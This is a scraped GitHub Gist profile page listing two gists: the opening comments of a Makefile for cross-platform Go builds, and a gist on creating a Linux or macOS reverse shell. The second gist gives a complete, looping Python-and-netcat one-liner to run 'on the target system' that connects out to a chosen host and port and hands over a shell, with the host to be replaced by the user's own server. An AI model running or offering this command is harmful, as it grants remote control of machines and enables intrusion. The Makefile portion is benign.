Skip to content

Instantly share code, notes, and snippets.

View onionj's full-sized avatar
🧅
Onion!

Saman Nezafat onionj

🧅
Onion!
View GitHub Profile
@onionj
onionj / Makefile
Last active September 17, 2024 06:30
Cross-Platform Go Binary Build Automation Makefile
# This Makefile automates the process of building a Go binary for multiple platforms, versioning the binary, and generating checksums for release.
# It includes targets for building the binary for the current platform, all supported platforms, and cleaning the build directory.
# Define the output directory for the builds
OUTPUT_DIR := ./build
version := 0.0.0
# Define the name of your binary
@onionj
onionj / reverse_shell.md
Last active March 17, 2026 14:22
Create a Linux / macOS Reverse Shell in One Command with Python and Netcat (nc)

Create a Linux / macOS Reverse Shell in One Command with Python and Netcat (nc)

Simple Method:

On the target system, execute the following command (replace HOST with your server's IP or domain):

while :; do python3 -c "HOST='localhost'; PORT='12012'; SHELL='sh'; import datetime; print(datetime.datetime.now(),'connecting to',HOST,PORT);import subprocess; nc_process=subprocess.Popen(['nc', HOST, str(PORT)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True); sh_process=subprocess.Popen([SHELL], stdin=nc_process.stdout, stdout=nc_process.stdin, stderr=nc_process.stdin, text=True); nc_process.wait(); sh_process.kill()"; sleep 1; done